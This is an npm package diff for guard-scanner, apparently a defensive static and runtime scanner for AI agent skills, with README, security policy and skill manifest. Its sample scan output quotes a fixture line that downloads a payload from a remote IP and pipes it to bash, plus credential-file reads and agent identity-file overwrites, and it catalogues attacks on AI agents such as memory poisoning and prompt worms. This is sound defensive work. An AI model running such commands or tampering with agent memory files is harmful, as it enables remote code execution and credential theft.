@guava-parity/guard-scanner 5.1.0

package/LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2026 Guava & Dee
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

package/README.md

@@ -0,0 +1,250 @@
+# guard-scanner 🛡️
+
+*The Original, Zero-Dependency Shield for the AI Agent Era.*
+
+As autonomous AI agents become more prevalent, the risk of executing untrusted or malicious skills increases. **guard-scanner** is an open-source, zero-dependency static and runtime security scanner designed to help protect developers' local machines from Prompt Injections, RCEs, and Memory Poisoning.
+
+Built collaboratively by the **[Guava Parity Institute](https://github.com/koatora20)** and the open-source community. We believe that AI safety infrastructure should be a shared, transparent, and accessible resource for everyone. We welcome contributions, feedback, and discussion from all developers!
+
+**150 static patterns + 26 runtime checks** across **23 threat categories**.
+
+[![npm](https://img.shields.io/npm/v/guard-scanner)](https://www.npmjs.com/package/guard-scanner)
+[![license](https://img.shields.io/npm/l/guard-scanner)](LICENSE)
+
+## Install
+
+```bash
+npm install -g guard-scanner
+```
+
+> **Why use this?** If you are experimenting with third-party skills for your AI agents, `guard-scanner` acts as a basic safety net, helping to identify hidden prompts or dangerous execution patterns.
+> 
+> 🤝 **We need your help!**: The landscape of Agentic AI threats is evolving rapidly. We are maintaining this project out of goodwill to provide a baseline defense, but we rely on community contributions to keep our pattern database updated. If you find a false positive or a new threat vector, please consider opening an issue or a pull request!
+
+## Quick Start
+
+```bash
+# Scan all skills
+guard-scanner ./skills/ --verbose
+
+# Strict mode + reports
+guard-scanner ./skills/ --strict --json --sarif --fail-on-findings
+
+# CI/CD pipeline (stdout)
+guard-scanner ./skills/ --format sarif --quiet | upload-sarif
+```
+
+## 🔍 Example Scan Output
+
+This is actual output from scanning a malicious test skill demonstrating data exfiltration, memory poisoning, and credential theft:
+
+```console
+$ guard-scanner ./test/fixtures/malicious-skill/ --verbose
+
+🛡️  guard-scanner v5.0.5
+══════════════════════════════════════════════════════
+📂 Scanning: ./test/fixtures/malicious-skill/
+📦 Skills found: 1
+
+🔴 scripts — MALICIOUS (risk: 100)
+   📁 exfiltration
+      🔴 [HIGH] Suspicious domain: webhook.site — evil.js
+   📁 malicious-code
+      🔴 [HIGH] eval() call — evil.js:18
+      💀 [CRITICAL] Shell download/execution — stealer.js:19
+         └─ "exec(`curl https://91.92.242.30/payload -o /tmp/x && bash"
+   📁 credential-handling
+      🔴 [HIGH] Credential file read — evil.js:6
+         └─ "readFileSync('.env"
+      💀 [CRITICAL] Agent identity file read — evil.js:7
+         └─ "readFileSync('SOUL.md"
+   📁 memory-poisoning
+      💀 [CRITICAL] Write to agent soul file — evil.js:21
+         └─ "writeFileSync('SOUL.md"
+   📁 data-flow
+      💀 [CRITICAL] Data flow: secret read (L6) → network call (L10) — evil.js:6
+
+══════════════════════════════════════════════════════
+📊 guard-scanner Scan Summary
+──────────────────────────────────────────────────────
+   Scanned:      1
+   🟢 Clean:       0
+   🔴 Malicious:   1
+   Safety Rate:  0%
+══════════════════════════════════════════════════════
+⚠️  CRITICAL: 1 malicious skill(s) detected!
+```
+
+## 🚀 Standalone Architecture
+
+**guard-scanner** is designed as a foundational "Shield" for the OpenClaw ecosystem. 
+It features a **Standalone Boot Sequence**:
+- **Zero API/DB Dependencies**: It initializes purely from local, static Threat Patterns (147 regex rules) defined in its codebase.
+- **No Heavy Context Loading**: It does *not* require loading heavy memory databases or executing contextual commands.
+- **Privacy First**: It never accesses or exposes your agent's private memory during the boot phase.
+
+This lightweight initialization makes it perfect for zero-trust environments, ensuring complete safety without exposing proprietary agent logic.
+
+## Options
+
+| Flag | Description |
+|------|-------------|
+| `--verbose`, `-v` | Detailed findings with categories and samples |
+| `--strict` | Lower detection thresholds (more sensitive) |
+| `--check-deps` | Scan `package.json` for dependency chain risks |
+| `--soul-lock` | Enable agent identity protection (SOUL.md/MEMORY.md patterns) |
+| `--json` | Write JSON report to file |
+| `--sarif` | Write SARIF 2.1.0 report (GitHub Code Scanning) |
+| `--html` | Write HTML dashboard report |
+| `--format json\|sarif` | Print to stdout (pipeable) |
+| `--quiet` | Suppress text output (use with `--format`) |
+| `--self-exclude` | Skip scanning guard-scanner itself |
+| `--summary-only` | Only print the summary table |
+| `--rules <file>` | Load custom detection rules (JSON) |
+| `--plugin <file>` | Load plugin module |
+| `--fail-on-findings` | Exit code 1 if any findings (CI/CD) |
+
+## Threat Categories (23)
+
+| # | Category | Detects |
+|---|----------|---------|
+| 1 | Prompt Injection | Hidden instructions, invisible Unicode, homoglyphs, XML tag injection |
+| 2 | Malicious Code | `eval()`, `child_process`, reverse shells, raw sockets |
+| 3 | Suspicious Downloads | `curl\|bash`, executable downloads, password-protected archives |
+| 4 | Credential Handling | `.env` reads, SSH keys, sudo in instructions |
+| 5 | Secret Detection | Hardcoded API keys, AWS keys, GitHub tokens, Shannon entropy |
+| 6 | Exfiltration | webhook.site, DNS tunneling, curl data exfil |
+| 7 | Unverifiable Deps | Remote dynamic imports |
+| 8 | Financial Access | Crypto transactions, payment APIs |
+| 9 | Obfuscation | Base64→exec, hex encoding, `String.fromCharCode` |
+| 10 | Prerequisites Fraud | Fake download/paste instructions |
+| 11 | Leaky Skills | Secrets saved in agent memory, verbatim in commands |
+| 12 | Memory Poisoning ⚿ | SOUL.md/MEMORY.md modification, behavioral rule override |
+| 13 | Prompt Worm | Self-replicating prompts, agent-to-agent propagation |
+| 14 | Persistence | Cron, launchd, startup execution |
+| 15 | CVE Patterns | CVE-2026-25253 (RCE), CVE-2026-25905 (Pyodide), CVE-2026-27825 (path traversal) |
+| 16 | MCP Security | Tool/schema poisoning, SSRF, shadow server registration |
+| 16b | Trust Boundary | Calendar/email/web → code execution chains |
+| 16c | Advanced Exfiltration | ZombieAgent static URL arrays, drip exfil, beacon |
+| 16d | Safeguard Bypass | URL parameter injection, retry-on-block |
+| 17 | Identity Hijacking ⚿ | SOUL.md overwrite, persona swap, memory wipe |
+| 18 | Config Impact | `openclaw.json` writes, exec approval disabling |
+| 19 | PII Exposure | Hardcoded CC/SSN, PII logging, Shadow AI API calls |
+| 20 | Trust Exploitation | Authority claims, creator impersonation, fake audits |
+| 21 | VDB Injection | Vector database poisoning, embedding manipulation |
+
+> ⚿ = Requires `--soul-lock` flag (opt-in)
+
+## Runtime Guard (26 checks, 5 layers)
+
+Real-time `before_tool_call` hook that blocks dangerous operations.
+
+| Layer | Name | Checks |
+|-------|------|--------|
+| 1 | Threat Detection | Reverse shell, curl\|bash, SSRF, credential exfil |
+| 2 | Trust Defense | SOUL.md tampering, memory injection |
+| 3 | Safety Judge | Prompt injection in tool args, trust bypass |
+| 4 | Behavioral | No-research execution |
+| 5 | Trust Exploitation (ASI09) | Authority claim, creator bypass, fake audit |
+
+```bash
+# Install as OpenClaw hook
+openclaw hooks install skills/guard-scanner/hooks/guard-scanner
+openclaw hooks enable guard-scanner
+```
+
+Modes: `monitor` (log only) / `enforce` (block CRITICAL) / `strict` (block HIGH+CRITICAL)
+
+## OWASP Mapping
+
+- **OWASP LLM Top 10 2025**: LLM01–LLM10 fully mapped
+- **OWASP Agentic Security Top 10**: ASI01–ASI10 coverage (tested)
+
+## Test Results
+
+```
+ℹ tests 136
+ℹ suites 24
+ℹ pass 136
+ℹ fail 0
+ℹ duration_ms 165
+```
+
+| Suite | Tests |
+|-------|-------|
+| Malicious Skill Detection | 16 ✅ |
+| Clean Skill (False Positive) | 2 ✅ |
+| Risk Score Calculation | 5 ✅ |
+| Verdict Determination | 5 ✅ |
+| Output Formats (JSON/SARIF/HTML) | 4 ✅ |
+| Pattern Database (150 patterns, 23 categories) | 4 ✅ |
+| IoC Database | 5 ✅ |
+| Shannon Entropy | 2 ✅ |
+| Ignore Functionality | 1 ✅ |
+| Plugin API | 1 ✅ |
+| Skill Manifest Validation | 4 ✅ |
+| Code Complexity Metrics | 2 ✅ |
+| Report Noise Regression | 2 ✅ |
+| Config Impact Analysis | 4 ✅ |
+| PII Exposure Detection | 8 ✅ |
+| OWASP Agentic Security (ASI01–10) | 14 ✅ |
+| Runtime Guard (5 layers, 26 checks) | 25 ✅ |
+| CVE Detection (CVE-2026-25905, CVE-2026-27825) | 2 ✅ |
+
+## Plugin API
+
+```javascript
+// my-plugin.js
+module.exports = {
+  name: 'my-plugin',
+  patterns: [
+    { id: 'MY_01', cat: 'custom', regex: /pattern/g, severity: 'HIGH', desc: 'Description', all: true }
+  ]
+};
+```
+
+```bash
+guard-scanner ./skills/ --plugin ./my-plugin.js
+```
+
+## Custom Rules (JSON)
+
+```json
+[
+  {
+    "id": "CUSTOM_001",
+    "pattern": "dangerous_function\\(",
+    "flags": "gi",
+    "severity": "HIGH",
+    "cat": "malicious-code",
+    "desc": "Custom: dangerous function call",
+    "codeOnly": true
+  }
+]
+```
+
+```bash
+guard-scanner ./skills/ --rules ./my-rules.json
+```
+
+## Output Formats
+
+- **Terminal** — Color-coded verdicts with risk scores
+- **JSON** — Machine-readable report (`--json`)
+- **SARIF 2.1.0** — GitHub Code Scanning / CI/CD (`--sarif`)
+- **HTML** — Visual dashboard (`--html`)
+- **stdout** — Pipeable output (`--format json|sarif --quiet`)
+
+## Contributing
+
+We wholeheartedly welcome contributions! Guard-scanner is built on community knowledge. 
+
+Whether you're fixing a bug, adding a new threat pattern, or simply improving the documentation, your help is deeply appreciated. Please see our [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines on how to get started.
+
+## Code of Conduct
+
+We are committed to fostering a welcoming, respectful, and harassment-free environment. Please read our [CODE_OF_CONDUCT.md](CODE_OF_CONDUCT.md) before participating in our community.
+
+## License
+
+MIT — [Guava Parity Institute](https://github.com/koatora20/guard-scanner)

package/SECURITY.md

@@ -0,0 +1,45 @@
+# Security Policy
+
+## Reporting Vulnerabilities
+
+If you discover a security vulnerability in guard-scanner itself, please report it responsibly:
+
+1. **Do NOT open a public issue**
+2. Use [GitHub Security Advisories](https://github.com/koatora20/guard-scanner/security/advisories/new)
+3. Include: affected version, steps to reproduce, potential impact
+
+We will respond within 48 hours and provide a fix within 7 days for critical issues.
+
+## Scope
+
+guard-scanner is a **static analysis tool** — it reads files but never executes them. It does not:
+- Execute any code from scanned skills
+- Make network requests
+- Modify any files in the scan directory
+- Require elevated privileges
+
+The only files guard-scanner writes are output reports (`--json`, `--sarif`, `--html`) to the scan directory.
+
+## Supply Chain Security
+
+guard-scanner itself has **zero runtime dependencies**. This is a deliberate design choice:
+- Nothing to audit
+- No transitive dependency risks
+- No `postinstall` scripts
+- Pure Node.js stdlib
+
+## Pattern Updates
+
+The threat pattern database (`src/patterns.js`) and IoC database (`src/ioc-db.js`) are updated based on:
+- Snyk ToxicSkills taxonomy
+- OWASP MCP Top 10
+- CVE reports affecting AI agents
+- Community-reported incidents
+- Original research from real-world attacks
+
+## Responsible Disclosure
+
+The test fixtures in `test/fixtures/malicious-skill/` contain **intentionally malicious patterns** for testing purposes. These files are:
+- Clearly marked as test fixtures
+- Non-functional (will error if executed)
+- Necessary for validating detection capabilities

package/SKILL.md

@@ -0,0 +1,141 @@
+---
+name: guard-scanner
+description: "The #1 security scanner for AI agent skills on ClawHub. Scan skills for prompt injection, credential theft, exfiltration, malware, and 23 threat categories. 150 static patterns + 26 runtime checks. The most comprehensive skill scanner and security auditor for OpenClaw — zero dependencies, 0.016ms/scan."
+metadata:
+  clawdbot:
+    homepage: "https://github.com/koatora20/guard-scanner"
+requires:
+  env: {}
+files:
+  - "dist/*"
+  - "src/*"
+  - "hooks/*"
+  - "openclaw.plugin.json"
+---
+
+# guard-scanner 🛡️ — The #1 Skill Scanner for AI Agent Security
+
+The most comprehensive security scanner and skill auditor for OpenClaw agents.
+**150 static patterns + 26 runtime checks (5 layers)** across **23 threat categories**. The go-to scanner for protecting your AI agent workspace — zero dependencies, MIT licensed. **0.016ms/scan.**
+
+## When To Use This Skill
+
+- **Before installing a new skill** from ClawHub or any external source
+- **After updating skills** to check for newly introduced threats
+- **Periodically** to audit your installed skills
+- **In CI/CD** to gate skill deployments
+
+## Quick Start
+
+### 1. Static Scan (Immediate)
+
+Scan all installed skills:
+
+```bash
+npx guard-scanner ~/.openclaw/workspace/skills/ --verbose --self-exclude
+```
+
+Scan a specific skill:
+
+```bash
+npx guard-scanner /path/to/new-skill/ --strict --verbose
+```
+
+### 2. Runtime Guard (OpenClaw Plugin Hook)
+
+Blocks dangerous tool calls in real-time via `before_tool_call` hook. 26 checks, 5 layers, 3 enforcement modes.
+
+```bash
+openclaw hooks install skills/guard-scanner/hooks/guard-scanner
+openclaw hooks enable guard-scanner
+openclaw hooks list
+```
+
+### 3. Recommended order
+
+```bash
+# Pre-install / pre-update gate first
+npx guard-scanner ~/.openclaw/workspace/skills/ --verbose --self-exclude --html
+
+# Then keep runtime monitoring enabled
+openclaw hooks install skills/guard-scanner/hooks/guard-scanner
+openclaw hooks enable guard-scanner
+```
+
+## Runtime Guard Modes
+
+Set in `openclaw.json` → `plugins.guard-scanner.mode`:
+
+| Mode | Behavior |
+|------|----------|
+| `monitor` | Log all, never block |
+| `enforce` (default) | Block CRITICAL threats |
+| `strict` | Block HIGH + CRITICAL |
+
+## Threat Categories (23)
+
+| # | Category | What It Detects |
+|---|----------|----------------|
+| 1 | Prompt Injection | Hidden instructions, invisible Unicode, homoglyphs |
+| 2 | Malicious Code | eval(), child_process, reverse shells |
+| 3 | Suspicious Downloads | curl\|bash, executable downloads |
+| 4 | Credential Handling | .env reads, SSH key access |
+| 5 | Secret Detection | Hardcoded API keys and tokens |
+| 6 | Exfiltration | webhook.site, DNS tunneling |
+| 7 | Unverifiable Deps | Remote dynamic imports |
+| 8 | Financial Access | Crypto wallets, payment APIs |
+| 9 | Obfuscation | Base64→eval, String.fromCharCode |
+| 10 | Prerequisites Fraud | Fake download instructions |
+| 11 | Leaky Skills | Secret leaks through LLM context |
+| 12 | Memory Poisoning\* | Agent memory modification |
+| 13 | Prompt Worm | Self-replicating instructions |
+| 14 | Persistence | Cron jobs, startup execution |
+| 15 | CVE Patterns | CVE-2026-25253, CVE-2026-25905, CVE-2026-27825 |
+| 16 | MCP Security | Tool/schema poisoning, SSRF |
+| 17 | Identity Hijacking\* | SOUL.md/IDENTITY.md tampering |
+| 18 | Sandbox Validation | Dangerous binaries, broad file scope |
+| 19 | Code Complexity | Excessive file length, deep nesting |
+| 20 | Config Impact | openclaw.json writes, exec approval bypass |
+| 21 | PII Exposure | CC/SSN, PII logging, Shadow AI |
+| 22 | Trust Exploitation | Authority claims, creator impersonation |
+| 23 | VDB Injection | Vector database poisoning, embedding manipulation |
+
+\* = Requires `--soul-lock` flag
+
+## External Endpoints
+
+| URL | Data Sent | Purpose |
+|-----|-----------|---------| 
+| *(none)* | *(none)* | guard-scanner makes **zero** network requests. All scanning is local. |
+
+## Security & Privacy
+
+- **No network access**: guard-scanner never connects to external servers
+- **Read-only scanning**: Only reads files, never modifies scanned directories
+- **No telemetry**: No usage data, analytics, or crash reports are collected
+- **Local reports only**: Output files (JSON/SARIF/HTML) are written to the scan directory
+- **No environment variable access**: Does not read or process any secrets or API keys
+- **Runtime Guard audit log**: Detections logged locally to `~/.openclaw/guard-scanner/audit.jsonl`
+
+## Model Invocation Note
+
+guard-scanner **does not invoke any LLM or AI model**. All detection is performed
+through static pattern matching, regex analysis, Shannon entropy calculation,
+and data flow analysis — entirely deterministic, no model calls.
+
+## Trust Statement
+
+guard-scanner was created by Guava 🍈 & Dee after experiencing a real 3-day
+identity hijack incident in February 2026. A malicious skill silently replaced
+an AI agent's SOUL.md personality file, and no existing tool could detect it.
+
+- **Open source**: https://github.com/koatora20/guard-scanner
+- **Zero dependencies**: Nothing to audit, no transitive risks
+- **Test suite**: 139 tests across 24 suites, 100% pass rate
+- **Taxonomy**: Based on Snyk ToxicSkills (Feb 2026), OWASP MCP Top 10, and original research
+- **OWASP**: ASI01–ASI10 coverage 90% (9/10 verified)
+- **CVE coverage**: CVE-2026-2256, CVE-2026-25046, CVE-2026-25253, CVE-2026-25905, CVE-2026-27825
+
+## License
+
+MIT — [LICENSE](LICENSE)